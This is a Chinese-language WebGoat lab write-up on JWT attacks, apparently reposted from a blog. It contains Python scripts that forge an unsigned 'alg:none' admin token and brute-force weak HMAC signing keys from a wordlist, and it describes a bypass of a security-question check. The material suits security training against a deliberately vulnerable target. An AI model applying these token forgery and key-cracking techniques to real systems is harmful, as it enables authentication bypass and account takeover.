渗透学习-靶场篇-WebGoat靶场(JWT攻击)

news2024/11/20 22:39:51

文章目录

  • 前言
  • 一、介绍JWT
    • JWT令牌结构
    • 获取的令牌的基本过程
  • 二、攻击方式以及靶场的搭建
    • 1.安装cWebGoat
    • 2.空加密验证攻击
    • 3.字典爆破
  • 三、认证-键值逻辑


前言

本次主要学习了javaweb项目方面任意出现的一些安全问题,最主要的是有关于JWT身份认证上的攻击,并利用webgoat靶场进行了一些实验。


一、介绍JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt由三个部分组成:header.payload.signature

JWT令牌结构

令牌采用 base64-url 编码,由三部分组成。header.payload.signature 每一部分由.进行链接而成,如下所示:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

根据算法,签名将被添加到令牌中。这样,您可以验证某人没有修改令牌(对令牌的一次更改将使签名无效)。

具体的表单生成信息如下:

  • HEADER:固定包含算法和token类型,对此json进行base64url加密,这就是token的第一段。
{  "alg":"HS256",  "typ":"JWT"}
  • PAYLOAD:包含一些数据,对此json进行base64url加密,这就是token的第二段。
{  	
	"exp": 1416471934,  "user_name": "user",  
	"scope": [    "read",    "write"  ],  
	"authorities": [    "ROLE_ADMIN",    "ROLE_USER"  ],  
	"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",  
	"client_id": "my-client-with-secret"
}
  • SIGNATURE:把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。
加密密钥: secret
具体操作形式:
base64url(
      HMACSHA256(
             base64UrlEncode(header) + "." + base64UrlEncode(payload),
             your-256-bit-secret (秘钥加盐)
      )
)

获取的令牌的基本过程

在这里插入图片描述

  1. 用户使用用户名和密码,并经过服务器验证成功后登录;
  2. 服务器创建一个新令牌
  3. 并将此令牌返回给客户端;
  4. 此后用户浏览器要携带token,去向服务端发送请求;
  5. 服务器读取令牌,并在成功验证后首先验证签名;
  6. 合法则返回对应的信息给用户。

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

相对地,如果采用cookie的方式,则服务器端/客户端是会保存一份对应的token值以供进行合法校验。

更多具体的内容请参考:https://jwt.io/

二、攻击方式以及靶场的搭建

1.安装cWebGoat

配置环境: Windows 10 + Java11 + webgoat-server-8.1.0.jar

注: 此处最好是使用java11及以上的环境,以避免出现java版本过低而无法运行的错误!!!

将下载好的jar包放在自己指定的目录下,然后打开cmd输入以下命令:

java -jar webgoat-server-8.1.0.jar --server.port=8000 --server.address=0.0.0.0

我这里是开启了指定的端口和开启远程访问,如果想直接使用默认设置(端口8080,只能本地访问)可以直接:

java -jar webgoat-server-8.1.0.jar

然后,在浏览器端输入:

http://127.0.0.1:8000/WebGoat/

即可,访问:
在这里插入图片描述

注,第一次使用的需要自己注册一个用户!!!

2.空加密验证攻击

JWT支持使用空加密算法,可以在header中指定alg为None

空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

打开对应的第四部分:
在这里插入图片描述

然后,我们点击对应的vote now,就会出现如下的弹窗,提示我们没有权限进行投票:
在这里插入图片描述

那么,我们这里先利用burp进行抓包看一下,发送了哪一些的数据:
我们点击切换tom用户登录:
在这里插入图片描述
进行抓包可以看到对应的token值:

在这里插入图片描述

然后,我们将该值拿去解析一下看看:解析网站

在这里插入图片描述

确实可以看出,这里采用了hs512算法进行加密验证,然后用户名是Tom。 那么,接下来我们尝试一下利用空加密进行绕过!!!

具体的exp代码如下:

# -*- coding:utf-8 -*-

import jwt
import base64


def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')

print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1573470025,"admin":"true","user":"Jerry"}')+b'.')

最后解密结果如下:

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.

在这里插入图片描述
然后,解析一下看看是否符合我们预期的要求:

在这里插入图片描述

看到这里,我们将admin对应的值更改为了true , 也就是说此时,我们设置了Jerry这个用户为admin。 然后由于还设置了alg为空密码,因此,可以绕过签名密钥未知的情况!!! 那么,我们把之前抓到的包放出去看看:

在这里插入图片描述

在这里插入图片描述
此时,再点击投票:
在这里插入图片描述

发现投票成功!!! 本关成功绕过!

3.字典爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

在这里插入图片描述
先看一下这里的内容:

在这里插入图片描述

根据题目要求,这里我们需要爆破出密钥,然后再将用户名改为WebGoat。
那么我们先使用以下exp进行爆破密码:

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

在这里插入图片描述

然后,这里我们需要在那个网站中进行修改以下内容:
在这里插入图片描述

注! 但是这里还有个小问题需要注意一下!!! 就是本关还使用了时间戳进行验证。
在这里插入图片描述
这里的exp就是指时间戳的截至时间,因此,这里我们也需要进行更改一下:
时间戳

比如,当前我的时间是2022-12-11 21:30:00 , 那么为了稳妥起见,我这里将过期时间设置为2022-12-11 21:35:00
在这里插入图片描述

然后,填入exp:
在这里插入图片描述

此时,就可以通过本关卡了!
在这里插入图片描述

三、认证-键值逻辑

在这里插入图片描述
这里,主要是李克用了键值逻辑进行绕过验证!!!

在本关中,我们需要回答一些安全密钥的问题,然后后端通过我们回答的密钥是否符合数据库里存储的答案来进行验证,若验证成功则可以进行重置密码等待操作。 那么接下来我们先看一下源码:

在这里插入图片描述

这里可以看出来,一共有两个问题并且有相应的答案。 那么试想一下,如果我们查询secQuestion2, 则由于数据库里无secQuestion2的字段,那么当我们查询的时候则对应的secQuestion2的值就为none,或者其他的什么!!! 因此,我们可以尝试一下设置:
在这里插入图片描述进行修改:
在这里插入图片描述
至此,修改成功!!!

在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/81678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

es的搜索服务

1、在项目中&#xff0c;创建一个搜索服务的模块&#xff1a;search-service 2、在新创建的搜索模块中添加依赖&#xff1a; <dependencies><!--nacos--><dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-start…

MyBatis-Plus中的逻辑删除使用

系列文章目录 Mybatis-PlusSpringBoot结合运用_心态还需努力呀的博客-CSDN博客MyBaits-Plus中TableField和TableId用法_心态还需努力呀的博客-CSDN博客 MyBatis-Plus分页查询&#xff08;快速上手运用&#xff09;_心态还需努力呀的博客-CSDN博客_mybatis plus分页查询 MyBa…

【ESXi 7.x 升 8.x】ESXi 升级 —— 使用 ESXCLI 升级 ESXi(Offline Bundle ZIP)

目录3.1 示例 — 使用 ESXCLI 升级 ESXi&#xff08;Offline Bundle ZIP&#xff09;【目标&#xff1a;将 ESXi 6.5 U2 GA 升级为 7.0 U3f】&#xff08;1&#xff09;下载离线升级ZIP包&#xff08;2&#xff09;升级 ESXi① 查看离线包② 升级前确认ESXi版本③ 获取升级用的…

[附源码]Python计算机毕业设计大学生社团管理系统Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

ChatGPT教程之 01 什么是ChatGPT革命性的对话生成新工具

今天,我想揭开 ChatGPT 的神秘面纱——GANs*(生成对抗网络)的一个迷人的新应用程序,它在 AI 社区中引起了很大的轰动。 对于那些不熟悉 GAN 的人来说,它们是一种神经网络,它使用两个相互竞争的网络——一个生成器和一个鉴别器——来创建逼真的输出。生成器创建假输出,而…

Paper Note——经典Polyline类型Map论文损失函数

文章目录1. Hierarchical Recurrent Attention Networks for Structured Online Maps2. DAGMapper: Learning to Map by Discovering Lane Topology1. Hierarchical Recurrent Attention Networks for Structured Online Maps https://patrick-llgc.github.io/Learning-Deep-Le…

QT(4)-QAbstractItemView

QAbstractItemView1 说明2 常用函数2.1 交替行颜色2.1.1 alternatingRowColors2.1.2 setAlternatingRowColors2.2 autoScroll2.2.1 hasAutoScroll2.2.2 setAutoScroll2.3 autoScrollMargin2.3.1 autoScrollMargin2.3.2 setAutoScrollMargin2.4 defaultDropAction2.4.1 setDefau…

python--飞机大战

实现功能&#xff1a; 1&#xff1a;飞机的移动&#xff0c;发射子弹&#xff0c;手雷&#xff0c;生命值&#xff0c;生命条 2&#xff1a;敌飞机有3种形态&#xff08;小&#xff0c;中&#xff0c;大&#xff09;不同的飞机大小不一样&#xff0c;生命值不一样&#xff0c…

基于springboot+mybatis+mysql+vue在线订餐系统

基于springbootmybatismysqlvue在线订餐系统一、系统介绍二、功能展示1.主页(用户)2.菜单(用户)3.用户注册(用户)4.用户登陆(用户)5.我的订单(用户)6.我的购物车(用户)7.首页(管理员)8.用户管理(管理员)9.商品管理(管理员)9.订单管理(管理员)10.评论管理(管理员)三、获取源码一…

c++ 类型的转换

文章目录1. C语言中的类型转换1.1 隐式转换1.2 显示转换2. C的类型转换2.1 static_cast2.2 reinterpret_cast2.3 const_cast2.4 dynamic_cast3. 常见面试题前言&#xff1a; C给出了四种类型转换&#xff0c;这是做出的一些规范&#xff0c;为了减少隐式转换。隐式转换的问题&a…

JDK19都出来了~是时候梳理清楚JDK的各个版本的特性了【JDK14特性讲解】

JDK各个版本特性讲解-JDK14特性 一、Java14概述 Oracle在2020年3月17日宣布JAVA14 全面上市,JAVA14通过每六个月发布一次新功能,为企业和开发人员社区提供增强功能,继续了Oracle加快创新的承诺. 最新的JAVA开发工具包提供了新功能,其中包括两项备受期待的新预览功能,实例匹配的…

【Redis】分布式限流与Redis实现限流的四种方式(Redis专栏启动)

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;专注于研究 Java/ Liunx内核/ C及汇编/计算机底层原理/源码&#xff0c;就职于大型金融公司后端高级工程师&#xff0c;擅长交易领域的高安全/可用/并发/性能的架构设计与演进、系统优化与稳定性建设。 &#x1…

MHA高可用及故障切换

目录 一、MHA的概述 1、 MHA的概念 2&#xff0e;MHA 的组成 3&#xff0e;MHA 的特点 二、搭建 MySQL MHA的操作步骤 1、实验思路&#xff1a; 1.1、MHA架构 1.2、故障模拟 2、环境准备 3、修改 Master、Slave1、Slave2 节点的主机名 4、修改 Master、Slave1、Slav…

基于java+springboot+mybatis+vue+mysql的农产品销售商城网站

项目介绍 农产品销售成为了很多农产品商家的一项重要的创收项目。传统的销售方式采用了摆摊销售和市场的农产品的批发&#xff0c;在销售农产品方面不是很方便&#xff0c;因此采用了网络的方式进行销售。也是电子商务发展今天的一种趋势&#xff0c;建立了网站&#xff0c;前…

WebSocket——SpringBoot+Vue3+TS+SockJS+STOMP简单连接使用

WebSocket——SpringBootVue3TSSockJSSTOMP简单连接使用本文视频以及相关资源关于WebSocket文档什么时候使用WebSocketWebSocket连接头服务器返回状态码客户端使用技术Github地址npm安装为什么要安装sockjs的.d.ts文件常用方法1.连接2.关闭连接3.发送消息4.设置订阅构建1.创建w…

【Redis】Redis布隆过滤器工作原理与实战(Redis专栏启动)

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;专注于研究 Java/ Liunx内核/ C及汇编/计算机底层原理/源码&#xff0c;就职于大型金融公司后端高级工程师&#xff0c;擅长交易领域的高安全/可用/并发/性能的架构设计与演进、系统优化与稳定性建设。 &#x1…

判断质数复习与分解质因数

TIPS 1. 之前我们讲到比方说要得到一个整数&#xff08;十进制形式&#xff09;的每一位数字&#xff0c;就需要把这个整数先%10得到最低位的数字&#xff0c;然后呢再把这个整数/10更新一下&#xff0c;然后呢就这么循环往复直到最终这个不断更新的整数为0跳出循环。那如果这…

深度学习-神经网络(Pytorch应用)

文章目录简介卷积层池化层激活层线性层前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 简介 上图摘自网络 受生物神经网络的启发&#xff0c;每个神经元与其他神经元相连&#xff0c;当…

InfluxDB时序数据库-笔记-更新中

本笔记由在Bilibili学习的尚硅谷教学视频后整理得来 文章目录一、InfluxDB基础概念1.1InfluxDB是什么1.2为什么选择InfluxDB而不选择关系型数据库1.3下载安装1.4Promethus数据格式1.5时序数据中的数据模型1.6与时间标准相关的知识二、Flux语言2.1初识Flux语言2.2Flux基本语法三…

献上SpringBoot核心笔记,简直就是血赚

市面上真正适合学习的SpringBoot资料太少&#xff0c;有的书或资料虽然讲得比较深入&#xff0c;但是语言晦涩难懂&#xff0c;大多数人看完这些书基本都是从入门到放弃。学透SpringBoot难道就真的就没有一种适合大多数同学的方法吗&#xff1f; 很多SpringBoot相关的知识点与…